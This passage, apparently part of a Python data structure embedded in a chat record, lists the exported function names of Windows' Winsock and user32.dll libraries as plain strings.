'WSAAsyncGetProtoByName',\n 'WSAAsyncGetProtoByNumber',\n 'WSAAsyncGetServByName',\n 'WSAAsyncGetServByPort',\n 'WSAAsyncSelect',\n 'WSACancelAsyncRequest',\n 'WSACancelBlockingCall',\n 'WSACleanup',\n 'WSACloseEvent',\n 'WSAConnect',\n 'WSAConnectByList',\n 'WSAConnectByNameA',\n 'WSAConnectByNameW',\n 'WSACreateEvent',\n 'WSADuplicateSocketA',\n 'WSADuplicateSocketW',\n 'WSAEnumNameSpaceProvidersA',\n 'WSAEnumNameSpaceProvidersExA',\n 'WSAEnumNameSpaceProvidersExW',\n 'WSAEnumNameSpaceProvidersW',\n 'WSAEnumNetworkEvents',\n 'WSAEnumProtocolsA',\n 'WSAEnumProtocolsW',\n 'WSAEventSelect',\n 'WSAGetLastError',\n 'WSAGetOverlappedResult',\n 'WSAGetQOSByName',\n 'WSAGetServiceClassInfoA',\n 'WSAGetServiceClassInfoW',\n 'WSAGetServiceClassNameByClassIdA',\n 'WSAGetServiceClassNameByClassIdW',\n 'WSAHtonl',\n 'WSAHtons',\n 'WSAInstallServiceClassA',\n 'WSAInstallServiceClassW',\n 'WSAIoctl',\n 'WSAIsBlocking',\n 'WSAJoinLeaf',\n 'WSALookupServiceBeginA',\n 'WSALookupServiceBeginW',\n 'WSALookupServiceEnd',\n 'WSALookupServiceNextA',\n 'WSALookupServiceNextW',\n 'WSANSPIoctl',\n 'WSANtohl',\n 'WSANtohs',\n 'WSAPoll',\n 'WSAProviderCompleteAsyncCall',\n 'WSAProviderConfigChange',\n 'WSARecv',\n 'WSARecvDisconnect',\n 'WSARecvFrom',\n 'WSARemoveServiceClass',\n 'WSAResetEvent',\n 'WSASend',\n 'WSASendDisconnect',\n 'WSASendMsg',\n 'WSASendTo',\n 'WSASetBlockingHook',\n 'WSASetEvent',\n 'WSASetLastError',\n 'WSASetServiceA',\n 'WSASetServiceW',\n 'WSASocketA',\n 'WSASocketW',\n 'WSAStartup',\n 'WSAStringToAddressA',\n 'WSAStringToAddressW',\n 'WSAUnadvertiseProvider',\n 'WSAUnhookBlockingHook',\n 'WSAWaitForMultipleEvents',\n 'WSApSetPostRoutine',\n 'WSCDeinstallProvider',\n 'WSCEnableNSProvider',\n 'WSCEnumProtocols',\n 'WSCGetApplicationCategory',\n 'WSCGetProviderInfo',\n 'WSCGetProviderPath',\n 'WSCInstallNameSpace',\n 'WSCInstallNameSpaceEx',\n 'WSCInstallProvider',\n 'WSCInstallProviderAndChains',\n 'WSCSetApplicationCategory',\n 'WSCSetProviderInfo',\n 'WSCUnInstallNameSpace',\n 'WSCUpdateProvider',\n 'WSCWriteNameSpaceOrder',\n 'WSCWriteProviderOrder',\n 'WahCloseApcHelper',\n 'WahCloseHandleHelper',\n 'WahCloseNotificationHandleHelper',\n 'WahCloseSocketHandle',\n 'WahCloseThread',\n 'WahCompleteRequest',\n 'WahCreateHandleContextTable',\n 'WahCreateNotificationHandle',\n 'WahCreateSocketHandle',\n 'WahDestroyHandleContextTable',\n 'WahDisableNonIFSHandleSupport',\n 'WahEnableNonIFSHandleSupport',\n 'WahEnumerateHandleContexts',\n 'WahInsertHandleContext',\n 'WahNotifyAllProcesses',\n 'WahOpenApcHelper',\n 'WahOpenCurrentThread',\n 'WahOpenHandleHelper',\n 'WahOpenNotificationHandleHelper',\n 'WahQueueUserApc',\n 'WahReferenceContextByHandle',\n 'WahRemoveHandleContext',\n 'WahWaitForNotification',\n 'WahWriteLSPEvent',\n '__WSAFDIsSet',\n 'accept',\n 'bind',\n 'closesocket',\n 'connect',\n 'freeaddrinfo',\n 'getaddrinfo',\n 'gethostbyaddr',\n 'gethostbyname',\n 'gethostname',\n 'getnameinfo',\n 'getpeername',\n 'getprotobyname',\n 'getprotobynumber',\n 'getservbyname',\n 'getservbyport',\n 'getsockname',\n 'getsockopt',\n 'htonl',\n 'htons',\n 'inet_addr',\n 'inet_ntoa',\n 'inet_ntop',\n 'inet_pton',\n 'ioctlsocket',\n 'listen',\n 'ntohl',\n 'ntohs',\n 'recv',\n 'recvfrom',\n 'select',\n 'send',\n 'sendto',\n 'setsockopt',\n 'shutdown',\n 'socket',\n ],\n 'user32.dll': ['ActivateKeyboardLayout',\n 'AddClipboardFormatListener',\n 'AdjustWindowRect',\n 'AdjustWindowRectEx',\n 'AlignRects',\n 'AllowForegroundActivation',\n 'AllowSetForegroundWindow',\n 'AnimateWindow',\n 'AnyPopup',\n 'AppendMenuA',\n 'AppendMenuW',\n 'ArrangeIconicWindows',\n 'AttachThreadInput',\n 'BeginDeferWindowPos',\n 'BeginPaint',\n 'BlockInput',\n 'BringWindowToTop',\n 'BroadcastSystemMessage',\n 'BroadcastSystemMessageA',\n 'BroadcastSystemMessageExA',\n 'BroadcastSystemMessageExW',\n 'BroadcastSystemMessageW',\n 'BuildReasonArray',\n 'CalcMenuBar',\n 'CalculatePopupWindowPosition',\n 'CallMsgFilter',\n 'CallMsgFilterA',\n 'CallMsgFilterW',\n 'CallNextHookEx',\n 'CallWindowProcA',\n 'CallWindowProcW',\n 'CancelShutdown',\n 'CascadeChildWindows',\n 'CascadeWindows',\n 'ChangeClipboardChain',\n 'ChangeDisplaySettingsA',\n 'ChangeDisplaySettingsExA',\n 'ChangeDisplaySettingsExW',\n 'ChangeDisplaySettingsW',\n 'ChangeMenuA',\n 'ChangeMenuW',\n 'ChangeWindowMessageFilter',\n 'ChangeWindowMessageFilterEx',\n 'CharLowerA',\n 'CharLowerBuffA',\n 'CharLowerBuffW',\n 'CharLowerW',\n 'CharNextA',\n 'CharNextExA',\n 'CharNextW',\n 'CharPrevA',\n 'CharPrevExA',\n 'CharPrevW',\n 'CharToOemA',\n 'CharToOemBuffA',\n 'CharToOemBuffW',\n 'CharToOemW',\n 'CharUpperA',\n 'CharUpperBuffA',\n 'CharUpperBuffW',\n 'CharUpperW',\n 'CheckDesktopByThreadId',\n 'CheckDlgButton',\n 'CheckMenuItem',\n 'CheckMenuRadioItem',\n 'CheckRadioButton',\n 'CheckWindowThreadDesktop',\n 'ChildWindowFromPoint',\n 'ChildWindowFromPointEx',\n 'CliImmSetHotKey',\n 'ClientThreadSetup',\n 'ClientToScreen',\n 'ClipCursor',\n 'CloseClipboard',\n 'CloseDesktop',\n 'CloseGestureInfoHandle',\n 'CloseTouchInputHandle',\n 'CloseWindow',\n 'CloseWindowStation',\n 'ConsoleControl',\n 'ControlMagnification',\n 'CopyAcceleratorTableA',\n 'CopyAcceleratorTableW',\n 'CopyIcon',\n 'CopyImage',\n 'CopyRect',\n 'CountClipboardFormats',\n 'CreateAcceleratorTableA',\n 'CreateAcceleratorTableW',\n 'CreateCaret',\n 'CreateCursor',\n 'CreateDesktopA',\n 'CreateDesktopExA',\n 'CreateDesktopExW',\n 'CreateDesktopW',\n 'CreateDialogIndirectParamA',\n 'CreateDialogIndirectParamAorW',\n 'CreateDialogIndirectParamW',\n 'CreateDialogParamA',\n 'CreateDialogParamW',\n 'CreateIcon',\n 'CreateIconFromResource',\n 'CreateIconFromResourceEx',\n 'CreateIconIndirect',\n 'CreateMDIWindowA',\n 'CreateMDIWindowW',\n 'CreateMenu',\n 'CreatePopupMenu',\n 'CreateSystemThreads',\n 'CreateWindowExA',\n 'CreateWindowExW',\n 'CreateWindowStationA',\n 'CreateWindowStationW',\n 'CsrBroadcastSystemMessageExW',\n 'CtxInitUser32',\n 'DdeAbandonTransaction',\n 'DdeAccessData',\n 'DdeAddData',\n 'DdeClientTransaction',\n 'DdeCmpStringHandles',\n 'DdeConnect',\n 'DdeConnectList',\n 'DdeCreateDataHandle',\n 'DdeCreateStringHandleA',\n 'DdeCreateStringHandleW',\n 'DdeDisconnect',\n 'DdeDisconnectList',\n 'DdeEnableCallback',\n 'DdeFreeDataHandle',\n 'DdeFreeStringHandle',\n 'DdeGetData',\n 'DdeGetLastError',\n 'DdeGetQualityOfService',\n 'DdeImpersonateClient',\n 'DdeInitializeA',\n 'DdeInitializeW',\n 'DdeKeepStringHandle',\n 'DdeNameService',\n 'DdePostAdvise',\n 'DdeQueryConvInfo',\n 'DdeQueryNextServer',\n 'DdeQueryStringA',\n 'DdeQueryStringW',\n 'DdeReconnect',\n 'DdeSetQualityOfService',\n 'DdeSetUserHandle',\n 'DdeUnaccessData',\n 'DdeUninitialize',\n 'DefDlgProcA',\n 'DefDlgProcW',\n 'DefFrameProcA',\n 'DefFrameProcW',\n 'DefMDIChildProcA',\n 'DefMDIChildProcW',\n 'DefRawInputProc',\n 'DefWindowProcA',\n 'DefWindowProcW',\n 'DeferWindowPos',\n 'DeleteMenu',\n 'DeregisterShellHookWindow',\n 'DestroyAcceleratorTable',\n 'DestroyCaret',\n 'DestroyCursor',\n 'DestroyIcon',\n 'DestroyMenu',\n 'DestroyReasons',\n 'DestroyWindow',\n 'DeviceEventWorker',\n 'DialogBoxIndirectParamA',\n 'DialogBoxIndirectParamAorW',\n 'DialogBoxIndirectParamW',\n 'DialogBoxParamA',\n 'DialogBoxParamW',\n 'DisableProcessWindowsGhosting',\n 'DispatchMessageA',\n 'DispatchMessageW',\n 'DisplayConfigGetDeviceInfo',\n 'DisplayConfigSetDeviceInfo',\n 'DisplayExitWindowsWarnings',\n 'DlgDirListA',\n 'DlgDirListComboBoxA',\n 'DlgDirListComboBoxW',\n 'DlgDirListW',\n 'DlgDirSelectComboBoxExA',\n 'DlgDirSelectComboBoxExW',\n 'DlgDirSelectExA',\n 'DlgDirSelectExW',\n 'DoSoundConnect',\n 'DoSoundDisconnect',\n 'DragDetect',\n 'DragObject',\n 'DrawAnimatedRects',\n 'DrawCaption',\n 'DrawCaptionTempA',\n 'DrawCaptionTempW',\n 'DrawEdge',\n 'DrawFocusRect',\n 'DrawFrame',\n 'DrawFrameControl',\n 'DrawIcon',\n 'DrawIconEx',\n 'DrawMenuBar',\n 'DrawMenuBarTemp',\n 'DrawStateA',\n 'DrawStateW',\n 'DrawTextA',\n 'DrawTextExA',\n 'DrawTextExW',\n 'DrawTextW',\n 'DwmGetDxSharedSurface',\n 'DwmStartRedirection',\n 'DwmStopRedirection',\n 'EditWndProc',\n 'EmptyClipboard',\n 'EnableMenuItem',\n 'EnableScrollBar',\n 'EnableWindow',\n 'EndDeferWindowPos',\n 'EndDialog',\n 'EndMenu',\n 'EndPaint',\n 'EndTask',\n 'EnterReaderModeHelper',\n 'EnumChildWindows',\n 'EnumClipboardFormats',\n 'EnumDesktopWindows',\n 'EnumDesktopsA',\n 'EnumDesktopsW',\n 'EnumDisplayDevicesA',\n 'EnumDisplayDevicesW',\n 'EnumDisplayMonitors',\n 'EnumDisplaySettingsA',\n 'EnumDisplaySettingsExA',\n 'EnumDisplaySettingsExW',\n 'EnumDisplaySettingsW',\n 'EnumPropsA',\n 'EnumPropsExA',\n 'EnumPropsExW',\n 'EnumPropsW',\n 'EnumThreadWindows',\n 'EnumWindowStationsA',\n 'EnumWindowStationsW',\n 'EnumWindows',\n 'EqualRect',\n 'ExcludeUpdateRgn',\n 'ExitWindowsEx',\n 'FillRect',\n 'FindWindowA',\n 'FindWindowExA',\n 'FindWindowExW',\n 'FindWindowW',\n 'FlashWindow',\n 'FlashWindowEx',\n 'FrameRect',\n 'FreeDDElParam',\n 'FrostCrashedWindow',\n 'GetActiveWindow',\n 'GetAltTabInfo',\n 'GetAltTabInfoA',\n 'GetAltTabInfoW',\n 'GetAncestor',\n 'GetAppCompatFlags',\n 'GetAppCompatFlags2',\n 'GetAsyncKeyState',\n 'GetCapture',\n 'GetCaretBlinkTime',\n 'GetCaretPos',\n 'GetClassInfoA',\n 'GetClassInfoExA',\n 'GetClassInfoExW',\n 'GetClassInfoW',\n 'GetClassLongA',\n 'GetClassLongW',\n 'GetClassNameA',\n 'GetClassNameW',\n 'GetClassWord',\n 'GetClientRect',\n 'GetClipCursor',\n 'GetClipboardData',\n 'GetClipboardFormatNameA',\n 'GetClipboardFormatNameW',\n 'GetClipboardOwner',\n 'GetClipboardSequenceNumber',\n 'GetClipboardViewer',\n 'GetComboBoxInfo',\n 'GetCursor',\n 'GetCursorFrameInfo',\n 'GetCursorInfo',\n 'GetCursorPos',\n 'GetDC',\n 'GetDCEx',\n 'GetDesktopWindow',\n 'GetDialogBaseUnits',\n 'GetDisplayConfigBufferSizes',\n 'GetDlgCtrlID',\n 'GetDlgItem',\n 'GetDlgItemInt',\n 'GetDlgItemTextA',\n 'GetDlgItemTextW',\n 'GetDoubleClickTime',\n 'GetFocus',\n 'GetForegroundWindow',\n 'GetGUIThreadInfo',\n 'GetGestureConfig',\n 'GetGestureExtraArgs',\n 'GetGestureInfo',\n 'GetGuiResources',\n 'GetIconInfo',\n 'GetIconInfoExA',\n 'GetIconInfoExW',\n 'GetInputDesktop',\n 'GetInputLocaleInfo',\n 'GetInputState',\n 'GetInternalWindowPos',\n 'GetKBCodePage',\n 'GetKeyNameTextA',\n 'GetKeyNameTextW',\n 'GetKeyState',\n 'GetKeyboardLayout',\n 'GetKeyboardLayoutList',\n 'GetKeyboardLayoutNameA',\n 'GetKeyboardLayoutNameW',\n 'GetKeyboardState',\n 'GetKeyboardType',\n 'GetLastActivePopup',\n 'GetLastInputInfo',\n 'GetLayeredWindowAttributes',\n 'GetListBoxInfo',\n 'GetMagnificationDesktopColorEffect',\n 'GetMagnificationDesktopMagnification',\n 'GetMagnificationLensCtxInformation',\n 'GetMenu',\n 'GetMenuBarInfo',\n 'GetMenuCheckMarkDimensions',\n 'GetMenuContextHelpId',\n 'GetMenuDefaultItem',\n 'GetMenuInfo',\n 'GetMenuItemCount',\n 'GetMenuItemID',\n 'GetMenuItemInfoA',\n 'GetMenuItemInfoW',\n 'GetMenuItemRect',\n 'GetMenuState',\n 'GetMenuStringA',\n 'GetMenuStringW',\n 'GetMessageA',\n 'GetMessageExtraInfo',\n 'GetMessagePos',\n 'GetMessageTime',\n 'GetMessageW',\n 'GetMonitorInfoA',\n 'GetMonitorInfoW',\n 'GetMouseMovePointsEx',\n 'GetNextDlgGroupItem',\n 'GetNextDlgTabItem',\n 'GetOpenClipboardWindow',\n 'GetParent',\n 'GetPhysicalCursorPos',\n 'GetPriorityClipboardFormat',\n 'GetProcessDefaultLayout',\n 'GetProcessWindowStation',\n 'GetProgmanWindow',\n 'GetPropA',\n 'GetPropW',\n 'GetQueueStatus',\n 'GetRawInputBuffer',\n 'GetRawInputData',\n 'GetRawInputDeviceInfoA',\n 'GetRawInputDeviceInfoW',\n 'GetRawInputDeviceList',\n 'GetReasonTitleFromReasonCode',\n 'GetRegisteredRawInputDevices',\n 'GetScrollBarInfo',\n 'GetScrollInfo',\n 'GetScrollPos',\n 'GetScrollRange',\n 'GetSendMessageReceiver',\n 'GetShellWindow',\n 'GetSubMenu',\n 'GetSysColor',\n 'GetSysColorBrush',\n 'GetSystemMenu',\n 'GetSystemMetrics',\n 'GetTabbedTextExtentA',\n 'GetTabbedTextExtentW',\n 'GetTaskmanWindow',\n 'GetThreadDesktop',\n 'GetTitleBarInfo',\n 'GetTopLevelWindow',\n 'GetTopWindow',\n 'GetTouchInputInfo',\n 'GetUpdateRect',\n 'GetUpdateRgn',\n 'GetUpdatedClipboardFormats',\n 'GetUserObjectInformationA',\n 'GetUserObjectInformationW',\n 'GetUserObjectSecurity',\n 'GetWinStationInfo',\n 'GetWindow',\n 'GetWindowCompositionAttribute',\n 'GetWindowCompositionInfo',\n 'GetWindowContextHelpId',\n 'GetWindowDC',\n 'GetWindowDisplayAffinity',\n 'GetWindowInfo',\n 'GetWindowLongA',\n 'GetWindowLongW',\n 'GetWindowMinimizeRect',\n 'GetWindowModuleFileName',\n 'GetWindowModuleFileNameA',\n 'GetWindowModuleFileNameW',\n 'GetWindowPlacement',\n 'GetWindowRect',\n 'GetWindowRgn',\n 'GetWindowRgnBox',\n 'GetWindowRgnEx',\n 'GetWindowTextA',\n 'GetWindowTextLengthA',\n 'GetWindowTextLengthW',\n 'GetWindowTextW',\n 'GetWindowThreadProcessId',\n 'GetWindowWord',\n 'GhostWindowFromHungWindow',\n 'GrayStringA',\n 'GrayStringW',\n 'HideCaret',\n 'HiliteMenuItem',\n 'HungWindowFromGhostWindow',\n 'IMPGetIMEA',\n 'IMPGetIMEW',\n 'IMPQueryIMEA',\n 'IMPQueryIMEW',\n 'IMPSetIMEA',\n 'IMPSetIMEW',\n 'ImpersonateDdeClientWindow',\n 'InSendMessage',\n 'InSendMessageEx',\n 'InflateRect',\n 'InitializeLpkHooks',\n 'InsertMenuA',\n 'InsertMenuItemA',\n 'InsertMenuItemW',\n 'InsertMenuW',\n 'InternalGetWindowIcon',\n 'InternalGetWindowText',\n 'IntersectRect',\n 'InvalidateRect',\n 'InvalidateRgn',\n 'InvertRect',\n 'IsCharAlphaA',\n 'IsCharAlphaNumericA',\n 'IsCharAlphaNumericW',\n 'IsCharAlphaW',\n 'IsCharLowerA',\n 'IsCharLowerW',\n 'IsCharUpperA',\n 'IsCharUpperW',\n 'IsChild',\n 'IsClipboardFormatAvailable',\n 'IsDialogMessage',\n 'IsDialogMessageA',\n 'IsDialogMessageW',\n 'IsDlgButtonChecked',\n 'IsGUIThread',\n 'IsHungAppWindow',\n 'IsIconic',\n 'IsMenu',\n 'IsProcessDPIAware',\n 'IsRectEmpty',\n 'IsSETEnabled',\n 'IsServerSideWindow',\n 'IsThreadDesktopComposited',\n 'IsTopLevelWindow',\n 'IsTouchWindow',\n 'IsWinEventHookInstalled',\n 'IsWindow',\n 'IsWindowEnabled',\n 'IsWindowInDestroy',\n 'IsWindowRedirectedForPrint',\n 'IsWindowUnicode',\n 'IsWindowVisible',\n 'IsWow64Message',\n 'IsZoomed',\n 'KillTimer',\n 'LoadAcceleratorsA',\n 'LoadAcceleratorsW',\n 'LoadBitmapA',\n 'LoadBitmapW',\n 'LoadCursorA',\n 'LoadCursorFromFileA',\n 'LoadCursorFromFileW',\n 'LoadCursorW',\n 'LoadIconA',\n 'LoadIconW',\n 'LoadImageA',\n 'LoadImageW',\n 'LoadKeyboardLayoutA',\n 'LoadKeyboardLayoutEx',\n 'LoadKeyboardLayoutW',\n 'LoadLocalFonts',\n 'LoadMenuA',\n 'LoadMenuIndirectA',\n 'LoadMenuIndirectW',\n 'LoadMenuW',\n 'LoadRemoteFonts',\n 'LoadStringA',\n 'LoadStringW',\n 'LockSetForegroundWindow',\n 'LockWindowStation',\n 'LockWindowUpdate',\n 'LockWorkStation',\n 'LogicalToPhysicalPoint',\n 'LookupIconIdFromDirectory',\n 'LookupIconIdFromDirectoryEx',\n 'MBToWCSEx',\n 'MB_GetString',\n 'MapDialogRect',\n 'MapVirtualKeyA',\n 'MapVirtualKeyExA',\n 'MapVirtualKeyExW',\n 'MapVirtualKeyW',\n 'MapWindowPoints',\n 'MenuItemFromPoint',\n 'MenuWindowProcA',\n 'MenuWindowProcW',\n 'MessageBeep',\n 'MessageBoxA',\n 'MessageBoxExA',\n 'MessageBoxExW',\n 'MessageBoxIndirectA',\n 'MessageBoxIndirectW',\n 'MessageBoxTimeoutA',\n 'MessageBoxTimeoutW',\n 'MessageBoxW',\n 'ModifyMenuA',\n 'ModifyMenuW',\n 'MonitorFromPoint',\n 'MonitorFromRect',\n 'MonitorFromWindow',\n 'MoveWindow',\n 'MsgWaitForMultipleObjects',\n 'MsgWaitForMultipleObjectsEx',\n 'NotifyOverlayWindow',\n 'NotifyWinEvent',\n 'OemKeyScan',\n 'OemToCharA',\n 'OemToCharBuffA',\n 'OemToCharBuffW',\n 'OemToCharW',\n 'OffsetRect',\n 'OpenClipboard',\n 'OpenDesktopA',\n 'OpenDesktopW',\n 'OpenIcon',\n 'OpenInputDesktop',\n 'OpenThreadDesktop',\n 'OpenWindowStationA',\n 'OpenWindowStationW',\n 'PackDDElParam',\n 'PaintDesktop',\n 'PaintMenuBar',\n 'PaintMonitor',\n 'PeekMessageA',\n 'PeekMessageW',\n 'PhysicalToLogicalPoint',\n 'PostMessageA',\n 'PostMessageW',\n 'PostQuitMessage',\n 'PostThreadMessageA',\n 'PostThreadMessageW',\n 'PrintWindow',\n 'PrivateExtractIconExA',\n 'PrivateExtractIconExW',\n 'PrivateExtractIconsA',\n 'PrivateExtractIconsW',\n 'PrivateRegisterICSProc',\n 'PtInRect',\n 'QueryDisplayConfig',\n 'QuerySendMessage',\n 'RealChildWindowFromPoint',\n 'RealGetWindowClass',\n 'RealGetWindowClassA',\n 'RealGetWindowClassW',\n 'ReasonCodeNeedsBugID',\n 'ReasonCodeNeedsComment',\n 'RecordShutdownReason',\n 'RedrawWindow',\n 'RegisterClassA',\n 'RegisterClassExA',\n 'RegisterClassExW',\n 'RegisterClassW',\n 'RegisterClipboardFormatA',\n 'RegisterClipboardFormatW',\n 'RegisterDeviceNotificationA',\n 'RegisterDeviceNotificationW',\n 'RegisterErrorReportingDialog',\n 'RegisterFrostWindow',\n 'RegisterGhostWindow',\n 'RegisterHotKey',\n 'RegisterLogonProcess',\n 'RegisterMessagePumpHook',\n 'RegisterPowerSettingNotification',\n 'RegisterRawInputDevices',\n 'RegisterServicesProcess',\n 'RegisterSessionPort',\n 'RegisterShellHookWindow',\n 'RegisterSystemThread',\n 'RegisterTasklist',\n 'RegisterTouchWindow',\n 'RegisterUserApiHook',\n 'RegisterWindowMessageA',\n 'RegisterWindowMessageW',\n 'ReleaseCapture',\n 'ReleaseDC',\n 'RemoveClipboardFormatListener',\n 'RemoveMenu',\n 'RemovePropA',\n 'RemovePropW',\n 'ReplyMessage',\n 'ResolveDesktopForWOW',\n 'ReuseDDElParam',\n 'ScreenToClient',\n 'ScrollChildren',\n 'ScrollDC',\n 'ScrollWindow',\n 'ScrollWindowEx',\n 'SendDlgItemMessageA',\n 'SendDlgItemMessageW',\n 'SendIMEMessageExA',\n 'SendIMEMessageExW',\n 'SendInput',\n 'SendMessageA',\n 'SendMessageCallbackA',\n 'SendMessageCallbackW',\n 'SendMessageTimeoutA',\n 'SendMessageTimeoutW',\n 'SendMessageW',\n 'SendNotifyMessageA',\n 'SendNotifyMessageW',\n 'SetActiveWindow',\n 'SetCapture',\n 'SetCaretBlinkTime',\n 'SetCaretPos',\n 'SetClassLongA',\n 'SetClassLongW',\n 'SetClassWord',\n 'SetClipboardData',\n 'SetClipboardViewer',\n 'SetCursor',\n 'SetCursorContents',\n 'SetCursorPos',\n 'SetDebugErrorLevel',\n 'SetDeskWallpaper',\n 'SetDisplayConfig',\n 'SetDlgItemInt',\n 'SetDlgItemTextA',\n 'SetDlgItemTextW',\n 'SetDoubleClickTime',\n 'SetFocus',\n 'SetForegroundWindow',\n 'SetGestureConfig',\n 'SetInternalWindowPos',\n 'SetKeyboardState',\n 'SetLastErrorEx',\n 'SetLayeredWindowAttributes',\n 'SetMagnificationDesktopColorEffect',\n 'SetMagnificationDesktopMagnification',\n 'SetMagnificationLensCtxInformation',\n 'SetMenu',\n 'SetMenuContextHelpId',\n 'SetMenuDefaultItem',\n 'SetMenuInfo',\n 'SetMenuItemBitmaps',\n 'SetMenuItemInfoA',\n 'SetMenuItemInfoW',\n 'SetMessageExtraInfo',\n 'SetMessageQueue',\n 'SetMirrorRendering',\n 'SetParent',\n 'SetPhysicalCursorPos',\n 'SetProcessDPIAware',\n 'SetProcessDefaultLayout',\n 'SetProcessWindowStation',\n 'SetProgmanWindow',\n 'SetPropA',\n 'SetPropW',\n 'SetRect',\n 'SetRectEmpty',\n 'SetScrollInfo',\n 'SetScrollPos',\n 'SetScrollRange',\n 'SetShellWindow',\n 'SetShellWindowEx',\n 'SetSysColors',\n 'SetSysColorsTemp',\n 'SetSystemCursor',\n 'SetSystemMenu',\n 'SetTaskmanWindow',\n 'SetThreadDesktop',\n 'SetTimer',\n 'SetUserObjectInformationA',\n 'SetUserObjectInformationW',\n 'SetUserObjectSecurity',\n 'SetWinEventHook',\n 'SetWindowCompositionAttribute',\n 'SetWindowContextHelpId',\n 'SetWindowDisplayAffinity',\n 'SetWindowLongA',\n 'SetWindowLongW',\n 'SetWindowPlacement',\n 'SetWindowPos',\n 'SetWindowRgn',\n 'SetWindowRgnEx',\n 'SetWindowStationUser',\n 'SetWindowTextA',\n 'SetWindowTextW',\n 'SetWindowWord',\n 'SetWindowsHookA',\n 'SetWindowsHookExA',\n 'SetWindowsHookExW',\n 'SetWindowsHookW',\n 'SfmDxBindSwapChain',\n 'SfmDxGetSwapChainStats',\n 'SfmDxOpenSwapChain',\n 'SfmDxQuerySwapChainBindingStatus',\n 'SfmDxReleaseSwapChain',\n 'SfmDxReportPendingBindingsToDwm',\n 'SfmDxSetSwapChainBindingStatus',\n 'SfmDxSetSwapChainStats',\n 'ShowCaret',\n 'ShowCursor',\n 'ShowOwnedPopups',\n 'ShowScrollBar',\n 'ShowStartGlass',\n 'ShowSystemCursor',\n 'ShowWindow',\n 'ShowWindowAsync',\n 'ShutdownBlockReasonCreate',\n 'ShutdownBlockReasonDestroy',\n 'ShutdownBlockReasonQuery',\n 'SoftModalMessageBox',\n 'SoundSentry',\n 'SubtractRect',\n 'SwapMouseButton',\n 'SwitchDesktop',\n 'SwitchDesktopWithFade',\n 'SwitchToThisWindow',\n 'SystemParametersInfoA',\n 'SystemParametersInfoW',\n 'TabbedTextOutA',\n 'TabbedTextOutW',\n 'TileChildWindows',\n 'TileWindows',\n 'ToAscii',\n 'ToAsciiEx',\n 'ToUnicode',\n 'ToUnicodeEx',\n 'TrackMouseEvent',\n 'TrackPopupMenu',\n 'TrackPopupMenuEx',\n 'TranslateAccelerator',\n 'TranslateAcceleratorA',\n 'TranslateAcceleratorW',\n 'TranslateMDISysAccel',\n 'TranslateMessage',\n 'TranslateMessageEx',\n 'UnhookWinEvent',\n 'UnhookWindowsHook',\n 'UnhookWindowsHookEx',\n 'UnionRect',\n 'UnloadKeyboardLayout',\n 'UnlockWindowStation',\n 'UnpackDDElParam',\n 'UnregisterClassA',\n 'UnregisterClassW',\n 'UnregisterDeviceNotification',\n 'UnregisterHotKey',\n 'UnregisterMessagePumpHook',\n 'UnregisterPowerSettingNotification',\n 'UnregisterSessionPort',\n 'UnregisterTouchWindow',\n 'UnregisterUserApiHook',\n 'UpdateLayeredWindow',\n 'UpdateLayeredWindowIndirect',\n 'UpdatePerUserSystemParameters',\n 'UpdateWindow',\n 'UpdateWindowTransform',\n 'User32InitializeImmEntryTable',\n 'UserClientDllInitialize',\n 'UserHandleGrantAccess',\n 'UserLpkPSMTextOut',\n 'UserLpkTabbedTextOut',\n 'UserRealizePalette',\n 'UserRegisterWowHandlers',\n 'VRipOutput',\n 'VTagOutput',\n 'ValidateRect',\n 'ValidateRgn',\n 'VkKeyScanA',\n 'VkKeyScanExA',\n 'VkKeyScanExW',\n 'VkKeyScanW',\n 'WCSToMBEx',\n 'WINNLSEnableIME',\n 'WINNLSGetEnableStatus',\n 'WINNLSGetIMEHotkey',\n 'WaitForInputIdle',\n 'WaitMessage',\n 'WinHelpA',\n 'WinHelpW',\n 'WindowFromDC',\n 'WindowFromPhysicalPoint',\n 'WindowFromPoint',\n '_UserTestTokenForInteractive',\n 'gSharedInfo',\n 'gapfnScSendMessage',\n 'keybd_event',\n 'mouse_event',\n 'wsprintfA',\n 'wsprintfW',\n 'wvsprintfA',\n 'wvsprintfW'\n ]\n}\n\n<|im_end|>"}